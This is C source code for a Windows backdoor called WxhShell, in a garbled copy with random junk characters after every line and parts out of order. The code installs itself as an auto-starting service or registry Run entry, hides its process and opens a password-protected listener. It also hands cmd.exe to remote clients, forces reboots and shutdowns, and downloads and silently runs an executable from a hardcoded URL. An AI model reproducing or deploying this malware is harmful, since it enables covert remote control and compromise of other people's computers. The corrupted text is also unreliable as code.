  case 'd': { i{r[zA]$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z,>owoP4  
    if(Boot(SHUTDOWN)) (T.j3@Ko  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ixqvX4vv,B  
    else { &-Q_%eM^  
    closesocket(wsh); &7eN EA  
    ExitThread(0); 6?/f $,v  
    } =$_kkVQ$  
    break; p;mV?B?oAQ  
    } BNixp[Hc  
  // 获取shell ^Jc|d,u;s  
  case 's': { OSwum!hzN  
    CmdShell(wsh); M0]J `fL@  
    closesocket(wsh); XFi9qL^  
    ExitThread(0); 2l~qzT-  
    break; pQ8f$I#v  
  } 31p7oRzr  
  // 退出 g c<Y?a-  
  case 'x': { "rpP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3RI %OCGF  
    CloseIt(wsh); ~6[3Km|2  
    break; qGzF@p(p8  
    } ]oKHS$W9  
  // 离开 %htwq]rZd  
  case 'q': { `/(9 #E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Lv#}Gm  
    closesocket(wsh); Zb+n\sv4  
    WSACleanup(); :S+Bu*OyH  
    exit(1); 0.B'Bvn=s2  
    break; m4R:KjN*  
        } $-39O3  
  } ^+Vf*YY 8  
  } /^`d o3a}  
LXRIo2ynuw  
  // 提示信息 o3le[6C/8=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A=np ?wc  
} 6L-3cxqf\  
  } U \F ?{/  
ayLINpL  
  return; }50s\H._C  
} cY|@s?3NND  
z AY -Y  
// shell模块句柄 E .CG  
int CmdShell(SOCKET sock) d;).| .}P  
{ +,eF(VS!  
STARTUPINFO si; 8P} a  
ZeroMemory(&si,sizeof(si)); T t$] [  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gc W'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YOY2K%o  
PROCESS_INFORMATION ProcessInfo; @680.+Kw  
char cmdline[]="cmd"; T~d_?UAw$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UvL=^*tm  
  return 0; 2hb>6Z;r]K  
} D#d/?\2  
)c.!3n/pb  
// 自身启动模式 W'v o?  
int StartFromService(void) RVr5^l;"  
{ 1\/^X>@W{  
typedef struct *tl;0<n  
{ ",S146Y+  
  DWORD ExitStatus; ~@"H\):/  
  DWORD PebBaseAddress; c(s: f@ 1  
  DWORD AffinityMask; @\U] hN?  
  DWORD BasePriority; $WsyAUl  
  ULONG UniqueProcessId; 3k:`7E.  
  ULONG InheritedFromUniqueProcessId; t24.u+O  
}   PROCESS_BASIC_INFORMATION; %D`j3cEp@  
|[$ TT$Fb  
PROCNTQSIP NtQueryInformationProcess; OS=~<ba  
+]e) :J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; caL \ d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $]J<^{v  
s =<65  
  HANDLE             hProcess; a@C}0IP)  
  PROCESS_BASIC_INFORMATION pbi; CZkmd  
kXO c)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lXutZ<S[  
  if(NULL == hInst ) return 0; M'@  
4!-/m7%eF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ah#jvp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @/='BVb'T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H2yPVJ\Y)"  
4UMOC_  
  if (!NtQueryInformationProcess) return 0; z7&m,:M  
=RHIB1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l(8@?t^;  
  if(!hProcess) return 0; Am >b7Z!  
{gB9EGY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K#R|GEwr  
I.U=%{.  
  CloseHandle(hProcess); SgQ(#y|vV  
FMT_X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x}OJ~Yk]  
if(hProcess==NULL) return 0; NOl/y@#  
E=ObfN"ge  
HMODULE hMod; "!:)qVL^  
char procName[255]; tV2o9!N4  
unsigned long cbNeeded; /#[mV(k  
NZ% v{?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b{.Y?.U  
KB gFS%-W  
  CloseHandle(hProcess); 2|${2u`$&y  
Tzfk_h3hE  
if(strstr(procName,"services")) return 1; // 以服务启动 -(zw80@&  
E*L5D4Kw  
  return 0; // 注册表启动 Wp^ A.  
} af&P;#U  
v|nt(-JX  
// 主模块 <=%G%V_s  
int StartWxhshell(LPSTR lpCmdLine) LKg9{0Y:  
{ )qRE['M  
  SOCKET wsl; !z]{zM%  
BOOL val=TRUE; %]o/p_<  
  int port=0; &jh17y  
  struct sockaddr_in door; Nh^q&[?  
{z@a{L:SC  
  if(wscfg.ws_autoins) Install(); Q'aVdJN,  
ov1#BeQ  
port=atoi(lpCmdLine); ob9=/ R?i  
Xv xrz{  
if(port<=0) port=wscfg.ws_port; ,v#3A7"yW  
0hq\{pw_y*  
  WSADATA data; 8TYoa:pZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <m%ZDOMa  
m" ]VQnQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q}1qt4xy*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -#r=  
  door.sin_family = AF_INET; 'K|F{K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4Dasj8GsV  
  door.sin_port = htons(port); pJ/{X=y  
+ux`}L(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _!%@V=  
closesocket(wsl); A9z3SJ\vXl  
return 1; xiF}{25a  
} v3cLU7bi?2  
/Y [ b8f  
  if(listen(wsl,2) == INVALID_SOCKET) { $I9U.~*  
closesocket(wsl); nQG<OVRClS  
return 1; yjM!M|  
} 8L*#zaSAf  
  Wxhshell(wsl); ~31-)*tJ]  
  WSACleanup(); 4\ny]A:~  
?_. SV g  
return 0; Pxgal4{6  
r|ogF8YN  
} x)f<lZ^L&H  
'~xiD?:  
// 以NT服务方式启动 Sy^@v%P'A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =27ZY Z  
{ ' ?EG+o8  
DWORD   status = 0; (i-L:  
  DWORD   specificError = 0xfffffff; Iv?1XI=  
ix 5\Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [!4V_yOb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4hW:c0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tD]vx`0>  
  serviceStatus.dwWin32ExitCode     = 0; LftzW{>gI"  
  serviceStatus.dwServiceSpecificExitCode = 0; jK2gc^"t  
  serviceStatus.dwCheckPoint       = 0; y 48zsm{  
  serviceStatus.dwWaitHint       = 0; /Ur]U w  
Rd|^C$6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J$ &2GAi  
  if (hServiceStatusHandle==0) return; rWJKK  
9/O\769"'  
status = GetLastError(); m [BV{25  
  if (status!=NO_ERROR) l;h5Y<A%?  
{ *7),v+ET  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GZ.KL!,R!  
    serviceStatus.dwCheckPoint       = 0; cpx:4R,  
    serviceStatus.dwWaitHint       = 0; U \jFB*U  
    serviceStatus.dwWin32ExitCode     = status; KD'}9{F,  
    serviceStatus.dwServiceSpecificExitCode = specificError; X&!($*/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DOq"=R+  
    return; DK#Tr: 7  
  } QV _a M2  
_w7yfZLv+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h-\+# .YP  
  serviceStatus.dwCheckPoint       = 0; *?o 'sTH  
  serviceStatus.dwWaitHint       = 0; %%lJyLq'Vk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'acCnn'  
} la`f@~Bbr1  
vh^?M#\  
// 处理NT服务事件,比如:启动、停止 ,+FiP{`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +aOX{1w  
{ 3*oZol/  
switch(fdwControl) "}:SXAZ5`  
{ :PB W=W  
case SERVICE_CONTROL_STOP: J$,bsMIX  
  serviceStatus.dwWin32ExitCode = 0; ]MB6++.e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J n'SGR  
  serviceStatus.dwCheckPoint   = 0; u`u{\ xN9  
  serviceStatus.dwWaitHint     = 0; (1%A@ 4  
  { H~W=#Cx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GsIqUM#R  
  } JY$;m3h  
  return; yRt7&,}zL  
case SERVICE_CONTROL_PAUSE: MkM`)g 5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O66b^*=N}x  
  break; n^/)T3mz{  
case SERVICE_CONTROL_CONTINUE: !~Kg_*IT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m|PJwd6  
  break; =an 0PN  
case SERVICE_CONTROL_INTERROGATE: c>wn e\(5H  
  break; v R ! y#  
}; RIFTF R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LPkl16yZ  
} |^gnT`+  
MK <\:g  
// 标准应用程序主函数 P5v;o9B&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LVJn2t^  
{ \ F)}brPc  
P3TM5  
// 获取操作系统版本 TmJXkR.5  
OsIsNt=GetOsVer(); fj[Kbo 7!h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M} Mgz  
Zl?9ibm;@  
  // 从命令行安装 , jCE hb  
  if(strpbrk(lpCmdLine,"iI")) Install(); kk}_AZ0eK  
A1B%<$|pz  
  // 下载执行文件 ;G*)7fi  
if(wscfg.ws_downexe) { ]qiX"<s>~C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F:LrQu  
  WinExec(wscfg.ws_filenam,SW_HIDE); [$Jsel<T=  
} 0+KSD{  
2Vx x  
if(!OsIsNt) { >*$Xbj*  
// 如果时win9x,隐藏进程并且设置为注册表启动 RJdijj  
HideProc(); vHb^@z=  
StartWxhshell(lpCmdLine); [iC]Wh%  
} .L.9e#?3  
else iK8jX?  
  if(StartFromService()) [ic%ZoZ_  
  // 以服务方式启动 5JS*6|IbD{  
  StartServiceCtrlDispatcher(DispatchTable); 2fP;>0?  
else Ij:yTu   
  // 普通方式启动 N: 5 N}am  
  StartWxhshell(lpCmdLine); Tb{RQ?Nw'  
</W"e!?X  
return 0; @%r "7%tq>  
} n_*.i1\'w  
i_av_I-  
]2MX7  
Y.% Vvg4z3  
=========================================== ]^<\a=U  
6+:;M b_S  
593!;2/@  
,Uy;jk  
rnBp2'EM  
8( bK\-b  
" dEam|  
%I@ vMs^  
#include <stdio.h> P|TM4i]  
#include <string.h> /`j2%8^N  
#include <windows.h> g-cg3Vso  
#include <winsock2.h> K+Pa b ?  
#include <winsvc.h> Wlp`D  
#include <urlmon.h> C#L|7M??;  
q XB E3  
#pragma comment (lib, "Ws2_32.lib") ~w}=Oby'y  
#pragma comment (lib, "urlmon.lib") x\YVB',h  
NosOd*S  
#define MAX_USER   100 // 最大客户端连接数 `)Y 5L}c=  
#define BUF_SOCK   200 // sock buffer chM-YuN|  
#define KEY_BUFF   255 // 输入 buffer  gOy{ RE  
o Va[  
#define REBOOT     0   // 重启 bl\;*.s'  
#define SHUTDOWN   1   // 关机 :bXTV?#0  
t|*UlTLm  
#define DEF_PORT   5000 // 监听端口 G^#? ~  
i#PR Tbc  
#define REG_LEN     16   // 注册表键长度 mB%m<Zo\U  
#define SVC_LEN     80   // NT服务名长度 ( geV(zT  
N]&hw&R{Q  
// 从dll定义API ruy?#rk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y\F4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CiTWjE?|7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B)rBM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ovaX_d)cU  
7H4kj7UK  
// wxhshell配置信息 \jAI~|3  
struct WSCFG { ,C|aiSh0-  
  int ws_port;         // 监听端口 )))AxgM  
  char ws_passstr[REG_LEN]; // 口令 ?',Wn3A  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~w(A3I.  
  char ws_regname[REG_LEN]; // 注册表键名 W >|'4y)  
  char ws_svcname[REG_LEN]; // 服务名 !$<Kp6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y@+9Ukd/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [YJ*zO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u\km_e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U@:l~ xJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <"av /`;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @.pr}S/  
4I2#L+W  
}; r>G||/Z  
&iT^IkA{  
// default Wxhshell configuration &uI33=   
struct WSCFG wscfg={DEF_PORT, ER:K^ Za  
    "xuhuanlingzhe", (U:6vk3Q  
    1, >E WK cocM  
    "Wxhshell", 3M>y.MS  
    "Wxhshell", milQxSpj  
            "WxhShell Service", D3y4e8+Z'  
    "Wrsky Windows CmdShell Service", MI~Q Xy,  
    "Please Input Your Password: ", eQIS`T  
  1, b(> G  
  "http://www.wrsky.com/wxhshell.exe", 'Z nJd j  
  "Wxhshell.exe" etk|%%J  
    }; oUB9)C~  
A@reIt  
// 消息定义模块 ?28)l 4 Ml  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; In*0.   
char *msg_ws_prompt="\n\r? for help\n\r#>"; {fMo#`9=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z1wfy\9c8  
char *msg_ws_ext="\n\rExit."; ;XXEvRk  
char *msg_ws_end="\n\rQuit."; Uh^j;s\y  
char *msg_ws_boot="\n\rReboot..."; WL3J>S_  
char *msg_ws_poff="\n\rShutdown..."; Y>K8^GS  
char *msg_ws_down="\n\rSave to "; ZL9|/ PY  
,.&D{ $1W  
char *msg_ws_err="\n\rErr!"; 3w! NTvp  
char *msg_ws_ok="\n\rOK!"; z'0 =3  
S(:|S(  
char ExeFile[MAX_PATH]; Az/P;C=  
int nUser = 0; k0xm-  
HANDLE handles[MAX_USER]; @"m+9ZY  
int OsIsNt; h{ eQ\iI  
8'u,}b)  
SERVICE_STATUS       serviceStatus; rEs!gGNN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {wD "|K  
P5'VLnE R{  
// 函数声明 ?l`|j*  
int Install(void); \*c=bz&l  
int Uninstall(void); s*vtCdrE.  
int DownloadFile(char *sURL, SOCKET wsh); .C1g Dry]  
int Boot(int flag); pWKI^S  
void HideProc(void); #?~G\Ux0/  
int GetOsVer(void); ,Uy~O(F t  
int Wxhshell(SOCKET wsl); Po.izE!C  
void TalkWithClient(void *cs); P+,YWp  
int CmdShell(SOCKET sock); #*G}v%Ow/u  
int StartFromService(void); p&HkR^.S  
int StartWxhshell(LPSTR lpCmdLine); c32"$g  
A \Z_br  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G ahY+$L,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c43&[xP Lz  
q4Y'yp`?K;  
// 数据结构和表定义 UO-,A j*wW  
SERVICE_TABLE_ENTRY DispatchTable[] = %gTY7LIe1z  
{ I!.-}]k  
{wscfg.ws_svcname, NTServiceMain}, UBx0Z0Y  
{NULL, NULL} w^S]HzMd  
}; ^{-Z3Yxd  
T=fVD8  
// 自我安装 07Oagq(  
int Install(void) H#QPcp@  
{ QtOT'<2t]  
  char svExeFile[MAX_PATH]; P}-S[[b73s  
  HKEY key; :Y)G-:S+  
  strcpy(svExeFile,ExeFile);  3;Tsjv}  
UDb  
// 如果是win9x系统,修改注册表设为自启动 V}Pv}j:;  
if(!OsIsNt) { Rz33_ qA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fh.Z sPn,m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `>`{DEDx{5  
  RegCloseKey(key); EHt(! ;?q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g]._J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5 ~"m$/yE  
  RegCloseKey(key); P2 +^7x?  
  return 0; xic&m5j m  
    } Q5;EQ .#  
  } ?<soX8_1  
} i.+#a2   
else { >  !WFY  
3 FLht L  
// 如果是NT以上系统,安装为系统服务 2O`s'&.h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;zi4W1  
if (schSCManager!=0) OP DRV\  
{ "9;Ay@'B  
  SC_HANDLE schService = CreateService vFK(Dx  
  ( SuA`F|7?P  
  schSCManager, Gdlx0i  
  wscfg.ws_svcname, r D|Bj(X8  
  wscfg.ws_svcdisp, AaJz3oncJ  
  SERVICE_ALL_ACCESS, `~LaiN.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }k6gO0z  
  SERVICE_AUTO_START, 1VG7[#Zy  
  SERVICE_ERROR_NORMAL, do@BJWo  
  svExeFile, @FuX^Q.[  
  NULL, _?9|,  
  NULL, +4K'KpFzZ  
  NULL, %X(|Z4dL  
  NULL, =z2g}X  
  NULL ]ov"&,J  
  ); RaB%N$.9s  
  if (schService!=0) n^rzl6dy  
  { $p.0[A(N  
  CloseServiceHandle(schService); Fh^Ax3P(  
  CloseServiceHandle(schSCManager); q7zHT=@$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P L*kjrLu7  
  strcat(svExeFile,wscfg.ws_svcname); y;tX`5(fe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K<"Y4O#]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )n$RHt+:>  
  RegCloseKey(key); .T7S1C $HP  
  return 0; wTVd){q`.  
    } -[>G@m:?e  
  } 5i&+.?(Z=  
  CloseServiceHandle(schSCManager); vv`,H~M6  
} K$~Ja  
} \@*D;-b  
fngk<$lvg  
return 1; uJ%XF*>_D  
} oz\r0:  
liVj-*m  
// 自我卸载 Gu K!<-Oz"  
int Uninstall(void) p}k\l dmh{  
{ *7!*kq g!u  
  HKEY key; _,E! <  
H,U qU3b3  
if(!OsIsNt) { sTF Ru  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `xu/|})KI  
  RegDeleteValue(key,wscfg.ws_regname); 08;t%[R  
  RegCloseKey(key); i^6g1"h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <@H=XEn  
  RegDeleteValue(key,wscfg.ws_regname); #W=H)6  
  RegCloseKey(key); qvN 5[rb  
  return 0; F$H^W@<w  
  } OEj%cB!  
} 7a'@NgiGg  
} m*H6\on:  
else { aZYs?b>Gm  
mX QVL.P\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iCZ1ARi  
if (schSCManager!=0) W8s/"  
{ k[;(@e@c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sBWLgJz?C  
  if (schService!=0) gX *i"Y#  
  { YDo,9  
  if(DeleteService(schService)!=0) { "(SZ;y  
  CloseServiceHandle(schService); |>AHc_:$$  
  CloseServiceHandle(schSCManager); 3']=w@~ O[  
  return 0; Lw #vHNf6  
  } aG/L'weR  
  CloseServiceHandle(schService); aT%6d@g  
  } bY7~b/  
  CloseServiceHandle(schSCManager); ^1w*$5YI  
} @P}!mdH1  
} s4Y7x.-  
BJ7m3[lz  
return 1; ttC+`0+H  
} ~:lN("9OI  
}e0)=*;l  
// 从指定url下载文件 Zk75GC  
int DownloadFile(char *sURL, SOCKET wsh) ,[0rh%%j  
{ <{b#nPc!,#  
  HRESULT hr; IBe0?F #  
char seps[]= "/"; 334tg'2]  
char *token; 00(#_($  
char *file; 5_ioJ   
char myURL[MAX_PATH]; #u6ZCv7u  
char myFILE[MAX_PATH]; rJ}k!}G  
i2+vUl|;Z  
strcpy(myURL,sURL); >6zXr.  
  token=strtok(myURL,seps); a76`"(W  
  while(token!=NULL) V61.UEN  
  { zWEt< `1M  
    file=token; 4GTB82V$  
  token=strtok(NULL,seps); gay6dj^  
  } >\c"U1%E  
+idp1SJ4  
GetCurrentDirectory(MAX_PATH,myFILE); 6N.+  
strcat(myFILE, "\\"); Um\_G@  
strcat(myFILE, file); A/{0J\pA  
  send(wsh,myFILE,strlen(myFILE),0); dk4|*l-  
send(wsh,"...",3,0);  h2]gA_T`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dJwE/s  
  if(hr==S_OK) ![#>{Q4i  
return 0; Rt10:9Kz$  
else nXnO]wXC  
return 1; vx8-~Oq{|;  
.ITR3]$  
} X:Z*7P/  
6t(I.>-  
// 系统电源模块 dY%>C75O  
int Boot(int flag) >,. x'{  
{ 2Sg,b8  
  HANDLE hToken; wth*H$iF  
  TOKEN_PRIVILEGES tkp; -v7O*xm"  
{]CO;5:  
  if(OsIsNt) { EzDQoN7Em  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V[N4 {c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V}UYr Va#9  
    tkp.PrivilegeCount = 1; !K$qh{n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8h| 9;%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O'} %Bjl  
if(flag==REBOOT) { C7lBK<gQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %1oG<s  
  return 0; $9Yk]~  
} h16i]V  
else { $5n6C7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G`" 9/FI7  
  return 0; 96$qH{]Ap  
} #+,O  
  } m=uW:~  
  else { rF8n z:8  
if(flag==REBOOT) { O A9G] 8k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *(sUz?t  
  return 0; }yW*vy6`  
} b4HUgW3Ac  
else { $-:j'e:j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6$|!_94>*)  
  return 0; %+,7=Wt-  
} &=d0'3k>  
} ~qxuD_  
"dO>P*k,  
return 1; Hkck=@>8H*  
} rFPfTpS  
\h}a?T6  
// win9x进程隐藏模块 2'6:fr=R  
void HideProc(void) ) HN,Az"  
{ ] oh.w  
xfyUT^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?QXc,*=N  
  if ( hKernel != NULL ) O~WT$  
  { ;=[~2*8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C_JDQByfL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'U" ub2j  
    FreeLibrary(hKernel); T@ecWRro  
  } uqg#(ADy?R  
Px<*n '~}  
return; zz 1e)W/  
} 3\Ma)\>R\-  
[Q=NGHB1/  
// 获取操作系统版本 K!MIA  
int GetOsVer(void) |tkhsQ-;  
{ *j0kb"#  
  OSVERSIONINFO winfo; LYv$U;*+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hD5G\TR.  
  GetVersionEx(&winfo); mSu1/?PS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *&VqAc%qD  
  return 1; \:/ :S"-  
  else 3Y}X7-|)Z  
  return 0; aMaFxEW  
} *75?%l  
(t\ F>A  
// 客户端句柄模块 n 7Bua  
int Wxhshell(SOCKET wsl) 2}^fhMS  
{ yA/b7x-c  
  SOCKET wsh; ,,-g*[/3  
  struct sockaddr_in client; X-&U-S;  
  DWORD myID; PafsO,i-  
!}gC0dJ  
  while(nUser<MAX_USER) rg^  
{ B.-1wZl  
  int nSize=sizeof(client); i!!1^DMrw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Nd"4*l;  
  if(wsh==INVALID_SOCKET) return 1; cF7efs8u  
;P{HePs=)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _26~<gU8  
if(handles[nUser]==0) 7Q>*]  
  closesocket(wsh); )Bq~1M 2  
else smM*HDK  
  nUser++; C)r!;u)AZH  
  } D/$$"AT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f.4m6"1  
HJn  
  return 0; Z,~EH  
} Yb<t~jm  
I<'wZJRRa  
// 关闭 socket Y GZX}-  
void CloseIt(SOCKET wsh) FD&"k=p+X  
{ l }i .  
closesocket(wsh); 7;UUS1  
nUser--; G:]w UC\  
ExitThread(0); MU; L7^  
} +s}"&IV%  
Q599@5aS  
// 客户端请求句柄 u5, \Kz  
void TalkWithClient(void *cs) w1je|Oil  
{ Zljj  
`nxm<~-\  
  SOCKET wsh=(SOCKET)cs; kAEm#oz=g  
  char pwd[SVC_LEN]; =3Y:DPMB  
  char cmd[KEY_BUFF]; yX:*TK4  
char chr[1]; O+Zt*jN;  
int i,j; 39w|2%(O.  
]0VjVU-  
  while (nUser < MAX_USER) { u49v,,WGw  
eN/o}<(e  
if(wscfg.ws_passstr) { se)vi;J7K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q@i,$R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S9$*w!W  
  //ZeroMemory(pwd,KEY_BUFF); X0,?~i6Q  
      i=0; z4 snH%q  
  while(i<SVC_LEN) { V'";u?h#S  
|g3a1El  
  // 设置超时 F0O/SI(cA  
  fd_set FdRead; a| *{BlY  
  struct timeval TimeOut; ov{  
  FD_ZERO(&FdRead); uIG,2u,  
  FD_SET(wsh,&FdRead); rI\G&OqpP  
  TimeOut.tv_sec=8; 6dRxfbL  
  TimeOut.tv_usec=0; F9sVMV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~v 2E<S3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +w ;2kw  
A{5^A)$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *20$u% z2  
  pwd=chr[0]; 1CkBfK  
  if(chr[0]==0xd || chr[0]==0xa) { l@x/{0  
  pwd=0; /e^q>>z  
  break; XNwZSW  
  } .kl _F7  
  i++; ]*8K4n G  
    } .Y8z3O  
cax]l O  
  // 如果是非法用户,关闭 socket X\r?g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p nS{W \Q  
} >AT{\W!N  
Fxu'(xa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TwlrncK*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #Z'r;YOzs  
VpDNp (2  
while(1) { 73kF=*m  
< p<J;@  
  ZeroMemory(cmd,KEY_BUFF); |fx*F}1  
'n7 )()"2  
      // 自动支持客户端 telnet标准   )Q_^f'4  
  j=0; hJavi>374  
  while(j<KEY_BUFF) { < sJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (p2jigP7a[  
  cmd[j]=chr[0]; XY[uyR4Z  
  if(chr[0]==0xa || chr[0]==0xd) { vI<n~FHt  
  cmd[j]=0; >a@c5  
  break; "T`Q,  
  } xwZcO  
  j++; H'fmQf  
    } a9CY,+ z5B  
XwKB+Yj0  
  // 下载文件 }u=-Y'!#]  
  if(strstr(cmd,"http://")) { nu1s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B 4pJg  
  if(DownloadFile(cmd,wsh)) Voi`OCut  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fdIO'L_  
  else > .L\>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1 m)WM,L  
  } T}ZUw;}BL  
  else { z\z mAus  
vJ__jO"Sq  
